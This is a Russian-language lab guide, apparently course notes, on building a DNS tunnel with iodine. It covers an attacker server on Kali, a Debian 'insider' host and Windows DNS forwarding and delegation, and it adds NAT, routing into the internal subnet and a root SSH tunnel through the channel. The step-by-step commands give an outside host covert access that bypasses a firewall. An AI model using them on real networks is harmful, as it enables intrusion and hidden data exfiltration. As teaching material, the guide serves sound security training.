# DNS Tunneling
#### 1. Настройка сервера атакующего (Kali Linux - DNS Tunneling Server)
> **`apt update & apt upgrade`**
>
> **`apt install iodine`**
>
> 1. Для понимания работы **iodine** с помощью команды создадим сервер, который будет принимать запросы только по указанному доменному имени
> **`iodined 10.99.99.1/24 -c i.example.com -P *указать пароль сервера который будет использоваться для подключения клиентов*`**
> Будет создан интерфейс **dns0** с указанным IP
> **`ip a`**
>
> 2. Для удаления интерфейсов **dns** связанные с **iodine**
> Найти запущенные процессы
> **`ps ax | grep iodine`**
> Убрать не нужные
> **`kill -9 №_процесса`**
#### 2. Настройка машины инсайдера (Debian)
> **`apt update & apt upgrade`**
>
> **`apt install iodine`**
>
> 1. Изменить DNS
> **`nano /etc/resolve.conf`**
> **`nameserver *внешний IP сервера атакующего*`**
>
> 2. Подключиться к серверу атакующего
> **`iodine -P *указать пароль сервера* -c i.expample.com`**
> Будет создан интерфейс **dns0** с IP 10.99.99.2/24
> Проверить соединение
> **`ping 10.99.99.2`**
>
> 3. После этого можно подключиться с сервера к инсайдеру через ssh
> **`ssh root@10.99.99.2`**
#### 3. Пример проникновения который возможен в реальной инфраструктуре
> 1. Поднять DNS сервер внутри инфраструктуры (Windows Server) и DNS сервер атакующего снаружи (Windows Server), назначить им статический IP.
>
> 2. Установить сам DNS на двух серверах
> **`Manage, Add Roles and Features -> Next -> Next -> Next -> Отмечаем DNS Server -> Add -> Next -> Next -> Install`**
>
> 3. Сделать форвард из локального DNS севера в DNS сервер атакующего
> **`Tools -> DNS -> Properties -> Forwarders -> Указать IP внешнего DNS сервера -> Ok -> Apply`**
>
> 4. В настройках сети прописать **DNS 127.0.0.1**
> 5. Сделать форвард из DNS сервера атакующего на 8.8.8.8
>
> 6. На машине инсайдера (Debian) изменить DNS
> **`nameserver *IP локального DNS сервера*`**
> Пингуем внешний ресурс
> **`ping ya.ru`**
> С утилитой dnsutils можно посмотреть IP DNS сервера
> **`apt install dnsutils`**
> **`dig ya.ru`**
>
> 7. На DNS сервере атакующего создать новую зону
> **`Forward Lookup Zones -> New Zone -> Zone Name к примеру hackeru.pro -> далее по умолчанию`**
>
> 8. В зоне hackeru.pro создать новое делегирование
> **`New Delegation -> Delegated domain: tun -> Next -> IP Address *внешний IP машины атакующего(kali)*`**
>
> 9. На kali машине инсайдера:
> > создать сервер iodine с обращением к tun.hackeru.pro
> **`iodined 10.99.99.1/24 -c tun.hackeru.pro -P *указать пароль сервера который будет использоваться для подключения клиентов*`**
> >
> > Включить **forward**
> > **`nano /etc/sysctl.conf`**
> > **`расскоментить net.ipv4.ip_forward=1`**
> > сохранить, выйти и применить изменения
> > **`sysctl -p`**
> >
> > Прописать **NAT**
> > **`iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE`**
> >
> > Прописать route
> > **`ip route add 192.168.1.0/24 via 10.99.99.2`**
> >
> 10. На Debian машине инсайдера:
> > подключиться к созданному серверу **iodine**
> > **`iodine -P *указать пароль сервера* -c tun.hackeru.pro`**
> >
> > Прописать **route**
> > **`ip route default via 10.99.99.1`**
> >
> > Включить **forward**
> > **`nano /etc/sysctl.conf`**
> > **`расскоментить net.ipv4.ip_forward=1`**
> > сохранить, выйти и применить изменения
> > **`sysctl -p`**
> >
> > Прописать **NAT**
> > **`iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE`**
>
> 12. Создать SSH туннель в DNS туннеле
> **`nano /etc/ssh/sshd_config`**
> Изменить строки:
> **`PermitRootLogin yes`**
> **`PermitTunnel yes`**
> Сохранить, выйти и запустить
> **`service ssh start`**
>
> > На Debian машине инсайдера:
> > **`ssh -w 5:5 root@10.99.99.1`**
> >
> > Создался туннель с интерфейсом **tun5**, поднимем его
> > **`ip link set dev tun5 up`**
> >
> > Назначим IP
> > **`ip addr add 10.10.10.2/24 dev tun5`**
>
> > На kali машине инсайдера:
> > Назначим IP
> > **`ip addr add 10.10.10.1/24 dev tun5`**
> >
> > Пропишем route
> > ip route add 192.168.1.0/24 via 10.10.10.2
:::info
Полезный материал по теме
- [Лазейка под файрволом. Тестируем пять популярных средств, которые пробрасывают интернет по DNS](https://xakep.ru/2018/09/07/dns-tunneling/)
- [Iodine: DNS туннель через закрытый WiFi](https://habr.com/ru/post/129097/)
:::
###### tags: `Cyber Infrastructure Threats`, `1 модуль`